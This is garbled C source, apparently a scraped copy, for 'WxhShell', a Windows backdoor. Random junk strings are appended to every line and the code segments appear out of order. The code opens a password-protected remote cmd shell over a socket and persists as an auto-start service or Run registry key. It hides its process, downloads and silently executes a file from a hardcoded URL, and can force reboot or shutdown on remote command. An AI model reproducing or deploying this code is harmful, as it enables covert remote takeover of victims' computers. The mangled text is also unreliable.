    break; aorL,l  
    } xR'd}>`  
  // 关机 -Hi_g@i*XW  
  case 'd': { KJn 3&7  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); a Sm</@tO&  
    if(Boot(SHUTDOWN)) yokZ>+jb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \#h=pz+jb  
    else { rI)&.5^  
    closesocket(wsh); hAi'|;g  
    ExitThread(0); fk#Ggp<  
    } 4P2p|Gc3  
    break; aF=;v*  
    } nP=/XiCj  
  // 获取shell a$"Z\F:x  
  case 's': { 4/o9K*M+  
    CmdShell(wsh); /|Gz<nSc  
    closesocket(wsh); &=8ZGjR< }  
    ExitThread(0); $ z+ =lF  
    break; yYC\a7Al4  
  } DL_M#c`<  
  // 退出 hHt.N o  
  case 'x': { ;r;>4+zn\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L8;`*H  
    CloseIt(wsh); e mq%" ;.  
    break; +SRM?av  
    } rI:]''PR  
  // 离开 ^J?2[(   
  case 'q': { KE)^S [Da  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); j{5oXW  
    closesocket(wsh); =F*{O=  
    WSACleanup(); 0O q5;5  
    exit(1); m[5ed1+  
    break; lKirc2  
        } Qe<c@i"  
  } Tq6@ 1j6p  
  } HV3D$~gF  
wZ8LY;  
  // 提示信息 Z${@;lgP  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B@3>_};Ct  
} BW)t2kR&  
  } lVb;,C%K  
Z}O0DfT;  
  return; V[| k:($  
} -}JRsQ+rgM  
atFu KYI  
// shell模块句柄 !hPe*pPVV)  
int CmdShell(SOCKET sock) ^q~.5c|  
{ j%0 g *YI  
STARTUPINFO si; Bq:: 5,v  
ZeroMemory(&si,sizeof(si)); 7"_g X  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =1kjKE !  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1n ZE9;o  
PROCESS_INFORMATION ProcessInfo; 0xutG/-&N  
char cmdline[]="cmd"; 64!V8&Ay  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !91<K{#A{  
  return 0;  s@3<]  
} PJcz] <  
`=foB-(zt  
// 自身启动模式 |B*`%7{+  
int StartFromService(void) CV,[x[L# {  
{ M7lMOG (\  
typedef struct @l2AL9z$m>  
{ "2/VDB4!FG  
  DWORD ExitStatus; 3412znM&  
  DWORD PebBaseAddress; "V_PWEi  
  DWORD AffinityMask; _bq2h%G=8  
  DWORD BasePriority; Fx*IeIs(:~  
  ULONG UniqueProcessId; mCpoaGV_  
  ULONG InheritedFromUniqueProcessId; kA:cz$ )  
}   PROCESS_BASIC_INFORMATION; Q ?W6  
&-Zg0T&tZ  
PROCNTQSIP NtQueryInformationProcess; DU4Prjb'  
u RNc9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4~r=[|(aY  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; seH#v  
^coJ"[D  
  HANDLE             hProcess; IF*kLl?  
  PROCESS_BASIC_INFORMATION pbi; hE/y"SP3  
I-q@@! =  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #P6;-d@a  
  if(NULL == hInst ) return 0; {=d\t<p*n  
58My6(5y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); v4< x 4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /SD2e@x{U  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); : XZ  
A d7=JzV  
  if (!NtQueryInformationProcess) return 0; 5G=CvGu  
QSy#k~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0)lG~_q  
  if(!hProcess) return 0; =l3* { ?G  
3'6>zp  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #/1,Cv yj  
gasl%&  
  CloseHandle(hProcess); |5,q54d(K  
,G,T&W  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); e~we YGK  
if(hProcess==NULL) return 0; {/ _.]Vh  
yHoj:f$$x  
HMODULE hMod; uEuK1f`  
char procName[255]; 'm"H*f  
unsigned long cbNeeded; ^\\cGJ&8c  
T3{qn$t8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); jX{lo  
$wVY)p9Q  
  CloseHandle(hProcess); 2{h9a0b  
%P9Zx!i>  
if(strstr(procName,"services")) return 1; // 以服务启动 @ B3@M  
.Isg1qrC  
  return 0; // 注册表启动 : C;=<$  
} ;xa]ke3]  
W~QZ(:IK  
// 主模块 +kl@`&ga  
int StartWxhshell(LPSTR lpCmdLine) TO)wjF_  
{ M|`%4vk>  
  SOCKET wsl; ]?Ru~N}  
BOOL val=TRUE; *pv hkJ g(  
  int port=0; sM~|}|p  
  struct sockaddr_in door; FUm-Fp  
) f'cy@b   
  if(wscfg.ws_autoins) Install(); .x1EdfHed/  
>UuLSF}  
port=atoi(lpCmdLine); $0K9OF9$  
~GS`@IU}  
if(port<=0) port=wscfg.ws_port; PxK  
{{=7mbc  
  WSADATA data; QkzPzbF"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @v2kAOw[  
gy<pN?Mw  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   O`mW,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _&JlE$ua7  
  door.sin_family = AF_INET; Ty]CdyL$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5NeEDY 2%#  
  door.sin_port = htons(port); 'F[QE9]*  
7IZ(3B<87t  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { q^dI!93n|  
closesocket(wsl); ScfW;  
return 1; 12E@9s$Z  
} iygdX2  
8'#%7+ "=!  
  if(listen(wsl,2) == INVALID_SOCKET) { R{6.O+j`  
closesocket(wsl); Mi 'eViH  
return 1; .'7o,)pJ<  
} dmrM %a}W-  
  Wxhshell(wsl); <v[,A8Q  
  WSACleanup(); y)#Ib*?  
:d!.E$S  
return 0; kAbT&Rm"  
FAU^(]-5m  
} fwxyZBr  
c6dL S  
// 以NT服务方式启动 9}2I'7]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .6OE8w 1  
{ o~^hsm[44J  
DWORD   status = 0; D@4hQC\  
  DWORD   specificError = 0xfffffff; A"z')   
T?7 ZF+yo6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; OjeM#s#N!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; JYKA@sZHe  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [>?B`1;@  
  serviceStatus.dwWin32ExitCode     = 0; |TEf? <"c  
  serviceStatus.dwServiceSpecificExitCode = 0; \kWceu}H,  
  serviceStatus.dwCheckPoint       = 0; )Hlr 09t=]  
  serviceStatus.dwWaitHint       = 0; iAWPE`u4  
&g@?{5FP  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); UwdcU^xt9  
  if (hServiceStatusHandle==0) return; ybf`7KEP2A  
GXRK+RHuBi  
status = GetLastError(); =`vUWONn  
  if (status!=NO_ERROR) &sWq SS  
{ U#,2et6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;U}lh~e11  
    serviceStatus.dwCheckPoint       = 0; Ql\{^s+  
    serviceStatus.dwWaitHint       = 0; ='OPU5(;O  
    serviceStatus.dwWin32ExitCode     = status;  i)8,u  
    serviceStatus.dwServiceSpecificExitCode = specificError; O-bC+vB]M  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); iu&'v  
    return; `<Zp!Hl(j  
  } ]eP&r?B  
MF]s(7U4 `  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; > -Jd@7-  
  serviceStatus.dwCheckPoint       = 0; tX Z5oG7  
  serviceStatus.dwWaitHint       = 0; $N5}N\C:a  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); V!3O 1  
} /o![%&-l  
= ?T'@C  
// 处理NT服务事件,比如:启动、停止  @;d(>_n  
VOID WINAPI NTServiceHandler(DWORD fdwControl) aLuxCobV  
{ aeE9dV~  
switch(fdwControl) T3)/?f?|  
{ *wyaBV?*K  
case SERVICE_CONTROL_STOP: J0lTp /  
  serviceStatus.dwWin32ExitCode = 0; =JNoC01D  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; qV^,muyoG  
  serviceStatus.dwCheckPoint   = 0; @y)-!MHN(8  
  serviceStatus.dwWaitHint     = 0; WQ=C5^u  
  { _i6G)u&N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #$X_,P|D  
  } ;l5F il,3  
  return; F ~ /{1Q*  
case SERVICE_CONTROL_PAUSE: e [3sWv  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +:wOzTUN  
  break; :%)l* [  
case SERVICE_CONTROL_CONTINUE: f(7 /  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !}Cd_tj6  
  break; oC.:mI  
case SERVICE_CONTROL_INTERROGATE: ~0t] `<y=  
  break; tX&Dum$  
}; GZ UDI#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +;pdG[N  
} [|xHXcW  
x:"_B  
// 标准应用程序主函数 :kfl q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) VGA?B@  
{ q9yY%  
^cDHyB=v4d  
// 获取操作系统版本 .0cm mpUNq  
OsIsNt=GetOsVer();  ]6W#P7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); B.;/N220P  
-`FTWH  
  // 从命令行安装 >j_,3{eJ  
  if(strpbrk(lpCmdLine,"iI")) Install(); TR5"K{WDx  
4=>/x90y  
  // 下载执行文件 GmPNzHDb  
if(wscfg.ws_downexe) { +KrV!Taf  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) rM<c;iQ  
  WinExec(wscfg.ws_filenam,SW_HIDE); dBX%/  
} I(bH.{1n7  
I/_`/mQ  
if(!OsIsNt) { rH$0h2  
// 如果时win9x,隐藏进程并且设置为注册表启动 e ,k,L  
HideProc(); ZVR0Kzu?Ra  
StartWxhshell(lpCmdLine); W$v5o9\Px  
} ?msx  
else 6*/0 yGij  
  if(StartFromService()) kf~ D m}bV  
  // 以服务方式启动 9L]x9lI;  
  StartServiceCtrlDispatcher(DispatchTable); Bk?3lwCT  
else j$n[; \]n  
  // 普通方式启动 wz$1^ml  
  StartWxhshell(lpCmdLine); k2" Z:\?z  
C5\bnk{  
return 0; <hkg~4EKc  
} ~:D}L   
}>6=(!  
,/C<GFae  
A+69_?B TH  
=========================================== j^"Z^TEBT  
mBhG"0:  
="P 3TP  
e 9U\48  
cx&jnF#$  
Gyw@+(l  
" `QC{}Oo^  
5 b( [1*  
#include <stdio.h> Y<#WC#3=  
#include <string.h> fF;Oz"I{\  
#include <windows.h> c_)vWU  
#include <winsock2.h> "gfy6m  
#include <winsvc.h> 6,7Fl=<  
#include <urlmon.h> /RT3 r  
Xl.h&x0? 8  
#pragma comment (lib, "Ws2_32.lib") @c,}\"(  
#pragma comment (lib, "urlmon.lib") J@=1zL  
KCGs*kp>  
#define MAX_USER   100 // 最大客户端连接数 xYtY}?!"  
#define BUF_SOCK   200 // sock buffer t IdH?x  
#define KEY_BUFF   255 // 输入 buffer 0e^j:~*  
x;# OM  
#define REBOOT     0   // 重启 & %ej=O  
#define SHUTDOWN   1   // 关机 cmmH)6c>  
@f{yx\u/  
#define DEF_PORT   5000 // 监听端口 R)?K+cJ%  
ja$e)  
#define REG_LEN     16   // 注册表键长度 eOt T*  
#define SVC_LEN     80   // NT服务名长度 no?TEXp*  
f"~+mO  
// 从dll定义API +M/04  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -IMm#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?<YtlqL  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i44UqEb  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7v}4 Pl,$4  
J/pW*G-U|  
// wxhshell配置信息 p4\%*ovQt  
struct WSCFG { &,4^LFZ W  
  int ws_port;         // 监听端口 SXSH9;j  
  char ws_passstr[REG_LEN]; // 口令 7]_UZ)u  
  int ws_autoins;       // 安装标记, 1=yes 0=no Sd2R $r  
  char ws_regname[REG_LEN]; // 注册表键名 =#[_8)q  
  char ws_svcname[REG_LEN]; // 服务名 dJ"3F(X  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 kzZtKN9Az  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 C0[Rf.*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^)m]j`}IGb  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @#c(4}^ <w  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" f#pT6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 w;vp X>  
=iC5um:  
}; r*C:)z .}  
Q*+@"tk<  
// default Wxhshell configuration E j@M\  
struct WSCFG wscfg={DEF_PORT, s1<_=sfnT  
    "xuhuanlingzhe", a5{CkM&,(  
    1, f&bY=$iff  
    "Wxhshell", [Qa0uM#SU  
    "Wxhshell", s[)2z3  
            "WxhShell Service", (pm]U7  
    "Wrsky Windows CmdShell Service", F=kD/GCB  
    "Please Input Your Password: ", wb 2N$Ew=  
  1, +^{;o0kcx  
  "http://www.wrsky.com/wxhshell.exe", 12])``9  
  "Wxhshell.exe" X&0m$x  
    }; udX4SBq-pC  
 wa6DJ  
// 消息定义模块 ',n;ag`c  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #.?DsK_:@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; s/0-DHd  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Zk$AAjC&  
char *msg_ws_ext="\n\rExit."; `W e M  
char *msg_ws_end="\n\rQuit."; 9Xmb_@7b}  
char *msg_ws_boot="\n\rReboot..."; lb2mWsg"  
char *msg_ws_poff="\n\rShutdown..."; eXx6b~D  
char *msg_ws_down="\n\rSave to "; "Nj(0&  
cpz}!D  
char *msg_ws_err="\n\rErr!"; jb$sIZ%i  
char *msg_ws_ok="\n\rOK!"; G1  %c<1Y  
}UMg ph:2:  
char ExeFile[MAX_PATH]; "tBdz V  
int nUser = 0; 2GLq#")P  
HANDLE handles[MAX_USER]; 9-eYCg7C|  
int OsIsNt; lSC3m=4g  
?q1&(g]qO  
SERVICE_STATUS       serviceStatus; 3Zs|arde2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; zL5r8mD3  
TD].*9  
// 函数声明 JXUnhjB,B  
int Install(void); B3@   
int Uninstall(void); E&}r"rbI  
int DownloadFile(char *sURL, SOCKET wsh); ?/9]"HFHN  
int Boot(int flag); T5)Xl'Q  
void HideProc(void);  V7%G?  
int GetOsVer(void); C(b"0>  
int Wxhshell(SOCKET wsl); g2^7PtJg  
void TalkWithClient(void *cs); J4 .C"v0a  
int CmdShell(SOCKET sock); c!T^JZBb  
int StartFromService(void); HWT0oh]  
int StartWxhshell(LPSTR lpCmdLine); - y{*U1[  
>~_y\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9G` 2t~%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); h']R P  
YN_#x  
// 数据结构和表定义 RQWVjF#  
SERVICE_TABLE_ENTRY DispatchTable[] = t }7hD  
{ PwQW5,,h0  
{wscfg.ws_svcname, NTServiceMain}, q<o*rcwf ^  
{NULL, NULL} " E72j.  
}; 5s8S;Pb]<  
3hab51J  
// 自我安装 k:4 Z c3  
int Install(void) F8Z<JcOI  
{ h#@l'Cye  
  char svExeFile[MAX_PATH]; B~^MhX +j  
  HKEY key; y GT"k,a  
  strcpy(svExeFile,ExeFile); J0a]Wz%  
Z2)f$ c  
// 如果是win9x系统,修改注册表设为自启动 Q2cF++Q1  
if(!OsIsNt) { B)O=wx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NoO>CjeFb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l " pCxA  
  RegCloseKey(key); vP^]Y.6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0{F"b'h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `I,A7b  
  RegCloseKey(key); O*d&H;;  
  return 0; ~QFD ^SoK  
    } C$){H"#  
  } bYQ h{q  
} V.)y7B  
else { @;qC % +^  
{S%)GvrT  
// 如果是NT以上系统,安装为系统服务 yT`[9u,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /%po@Pm#I  
if (schSCManager!=0) Wy@Z)z?  
{ q~p,A>K  
  SC_HANDLE schService = CreateService "h_]it};C  
  ( tPPnW  
  schSCManager, $_k'!/5  
  wscfg.ws_svcname, t>7t4>X  
  wscfg.ws_svcdisp, "Ol;0>$  
  SERVICE_ALL_ACCESS, `~UCWK  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , g-E!*K  
  SERVICE_AUTO_START, }oYR.UH  
  SERVICE_ERROR_NORMAL, & d\`=e  
  svExeFile, |xZDc6HDW  
  NULL, 33J}AK^FE  
  NULL, 9-o{[  
  NULL, )b m|],'  
  NULL, uYIw ?fXy  
  NULL 1)/B V{n  
  ); kMKI=>s+  
  if (schService!=0) $Rv}L'L  
  { ?Pw# !t  
  CloseServiceHandle(schService); V[wEn9   
  CloseServiceHandle(schSCManager); H1| -f]!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :{h,0w'd  
  strcat(svExeFile,wscfg.ws_svcname); $ ;>,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { J9)wt ?%j  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =vT3SY  
  RegCloseKey(key); r=n|MT^O  
  return 0; ?)<zrE5p  
    } aw/Y#  
  }  4D"IAI  
  CloseServiceHandle(schSCManager); |}^[f]  
} 6R%c+ok8i  
} YH)U nql  
|.=Ee+HZ  
return 1; ($E(^p% O  
} FRF3V>  
)~_!u}+:(  
// 自我卸载 WEqHL,Uh]  
int Uninstall(void) Xx:0Nt]  
{ >r{3t{  
  HKEY key; }1TfKS]m>  
[ w  
if(!OsIsNt) { MFX&+c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (sS[F-2R7  
  RegDeleteValue(key,wscfg.ws_regname); C@pDX>~2=b  
  RegCloseKey(key); `PSr64h:D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y((z9-`  
  RegDeleteValue(key,wscfg.ws_regname); *u>2"!+Ob  
  RegCloseKey(key); eG|e1tK+  
  return 0; -yg9ug  
  } _E)xR  
} 7$x@;%xd  
} -2v|d]3qG  
else {  ^wb -s  
si=/=h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \4K8*`$  
if (schSCManager!=0) b6bmvHD  
{ Mki(,Y|1~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); cy)L%`(7  
  if (schService!=0) sa#=#0yg  
  { $MKx\qx}  
  if(DeleteService(schService)!=0) { 1(w0* `  
  CloseServiceHandle(schService); JQ+4 SomK  
  CloseServiceHandle(schSCManager); 2-o,4EfHVO  
  return 0; XT{1!I(  
  } 6]T02;b>/,  
  CloseServiceHandle(schService); r NU,(htS  
  } 20^F -,z  
  CloseServiceHandle(schSCManager); -ud~'<k  
} k :7UU4M 5  
} 8Qu7x[tK?  
H4k`wWOk  
return 1; PfnhE>[>cf  
} LN?T$H  
!aa^kcEjnL  
// 从指定url下载文件 q*DR~Ov  
int DownloadFile(char *sURL, SOCKET wsh) |1g2\5Re  
{ g.DgJX&i  
  HRESULT hr; Xe=@I*  
char seps[]= "/"; 7Yk6C5C  
char *token; UbC)X iO  
char *file; 85 "DS-+e  
char myURL[MAX_PATH]; dAEz hR[=  
char myFILE[MAX_PATH]; /,Ln)?eD  
]_d(YHYf  
strcpy(myURL,sURL); 5tP0dQYd  
  token=strtok(myURL,seps); `U2PlCf |  
  while(token!=NULL) /nb(F h|{T  
  { 4ms hB  
    file=token; +;Cq>1x,  
  token=strtok(NULL,seps); &HFMF)NA  
  } #%k5s?cP@  
t=XiSj\n  
GetCurrentDirectory(MAX_PATH,myFILE); l3-Ksw U  
strcat(myFILE, "\\"); LrF'Hd=O  
strcat(myFILE, file); ?e3q0Lg3 |  
  send(wsh,myFILE,strlen(myFILE),0); L}>9@?;GW  
send(wsh,"...",3,0); cB.v&BSW  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); K W04  
  if(hr==S_OK) p*Q"<@n  
return 0; KT?vs5jg$&  
else "~]9}KM}3W  
return 1; Ma-^o<{  
2(\>PN-  
} &JfyXM[]  
mWmDH74  
// 系统电源模块 ^Xa-)Pu  
int Boot(int flag) 9!2KpuWji  
{ U%gP2]t%cs  
  HANDLE hToken; y::KjB 0  
  TOKEN_PRIVILEGES tkp; WgE~H)_%  
VrF]X#\)  
  if(OsIsNt) {  `Yoafa  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \VtCkb  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); uAVV4)  
    tkp.PrivilegeCount = 1; F{l,Tl"Jw  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~p'/Z@Atu  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 'QCvN b6  
if(flag==REBOOT) { ~JC``&6E=}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) y9W*/H{[`  
  return 0; U?#6I-  
} 0>Mm |x*5  
else { D3XQ>T[*q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -.^Mt.)  
  return 0; %NeKDE  
} !Toq~,a8?  
  } Yv"uIj+']  
  else { ANT^&NjJ7  
if(flag==REBOOT) { Jb ;el*,K  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >^<qke  
  return 0; '?3Hy|}  
} 3D<P [.bS  
else { %A82{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) NKGo E/  
  return 0; 4`Fbl]Q   
} %}j/G l5  
} [c>X Q  
Onot<}K  
return 1; *:YW@Gbm  
} SvI  
 zKT \i  
// win9x进程隐藏模块 oWXvkDN   
void HideProc(void) v+Mt/8  
{ : FxZdE  
cG"jrQ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "G`)x+<~Z8  
  if ( hKernel != NULL ) vtL)  
  { )}paQmy#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >Pv%E  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); dZnq 96<:|  
    FreeLibrary(hKernel); N.&)22<m9  
  } q/4PX  
^~(bm$4r  
return; =FwFqjvl  
} .Ta$@sPh}  
zaoZCyJT%  
// 获取操作系统版本 [f O]oTh  
int GetOsVer(void) W >B:W0A  
{ =q6yb@  
  OSVERSIONINFO winfo; |W#^L`!G  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {?5EOp~  
  GetVersionEx(&winfo); (q +Q.Q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Qz<v. _  
  return 1; oO= 6Kd+T  
  else WBC'~h<@  
  return 0; yP-.8[;  
} $]Fe9E?   
jq}5(*k  
// 客户端句柄模块 ={zYcVI  
int Wxhshell(SOCKET wsl) -sc@SoS  
{ hKX-]+6"  
  SOCKET wsh; D}3E1`)W  
  struct sockaddr_in client; }r,k*I'K  
  DWORD myID; QV?\?9(  
F~* 5`o  
  while(nUser<MAX_USER) N:&^ql4  
{ *a$z!Ma3h  
  int nSize=sizeof(client); V2.MZ9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); { 0Leua  
  if(wsh==INVALID_SOCKET) return 1; t3bN P K^  
b,SY(Ce~g  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )ZiJl5l@  
if(handles[nUser]==0) {H0B"i  
  closesocket(wsh); Cu/w><h)  
else u 4)i7  
  nUser++; #>>-:?X  
  } `D?vmSQ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (a)d7y.oo  
kyY tL_SD  
  return 0; RYvS,hf 6z  
} 4; &(  
8c~b7F \  
// 关闭 socket ~G"6^C:x  
void CloseIt(SOCKET wsh) Kq.)5%~>  
{ !FO||z(vb  
closesocket(wsh); sq :ff  
nUser--; pLk?<y  
ExitThread(0); eb:uh!  
} -y$|EOi?  
tWc!!Hf2j  
// 客户端请求句柄 nq_sbli  
void TalkWithClient(void *cs) \UK  9  
{ L TO1LAac  
Lww0LH >  
  SOCKET wsh=(SOCKET)cs; wcV~z:&^5  
  char pwd[SVC_LEN]; Soop)e  
  char cmd[KEY_BUFF]; 501|Y6ptl  
char chr[1]; AZtZa'hbkQ  
int i,j; &|gn%<^  
fv`%w  
  while (nUser < MAX_USER) { lDAw0 C3  
v}[7)oj|  
if(wscfg.ws_passstr) { ot,<iE#za  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nP_s+k  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )8e_<^M  
  //ZeroMemory(pwd,KEY_BUFF); 8 Z#)Xb4  
      i=0; SJ+.i u/  
  while(i<SVC_LEN) { .!=g  
1Rwk}wL  
  // 设置超时 n]_8!NU  
  fd_set FdRead; <K 4zH<y  
  struct timeval TimeOut; w"A'uFXLc  
  FD_ZERO(&FdRead); 5N ' QG<jE  
  FD_SET(wsh,&FdRead); <$7*yV  
  TimeOut.tv_sec=8; c t,p?[Q  
  TimeOut.tv_usec=0; tJg   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); yQCfn1a)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @^%zh   
6'?Y]K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (5'qEi ea  
  pwd=chr[0]; #ljfcQm  
  if(chr[0]==0xd || chr[0]==0xa) { .eJ4F-V  
  pwd=0; nc&V59*   
  break; L6U[H#3(  
  } f3*u_LO  
  i++; WO_cT26Y  
    } &a-:ZA@  
HH[?LKd<  
  // 如果是非法用户,关闭 socket 3pq&TYQU  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~fQ#-ekzqk  
} Z&/;6[  
# {!Qf\1M  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); SRj|XCd  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [\. ho9  
)S>~h;  
while(1) { B4&x?-0ZC  
_RjM .  
  ZeroMemory(cmd,KEY_BUFF); '<8ewU  
%:((S]vAi  
      // 自动支持客户端 telnet标准   qb "H&)aHw  
  j=0; ly6?jVJ  
  while(j<KEY_BUFF) { v#D9yttO{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SAXjB;VH6  
  cmd[j]=chr[0]; 6P+8{ ?V&  
  if(chr[0]==0xa || chr[0]==0xd) { ,uuQj]Dac+  
  cmd[j]=0; 8[}MXMRdb  
  break; ;xwa,1]  
  } <W\~A$  
  j++; 5/Swn9vwl  
    } zD2B hta y  
~vaV=})  
  // 下载文件 Fc42TH p  
  if(strstr(cmd,"http://")) { `<+D<x)(3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); hwkol W  
  if(DownloadFile(cmd,wsh)) UGr7,+N&w  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); voV=}.(p  
  else ;>|:I(l;  
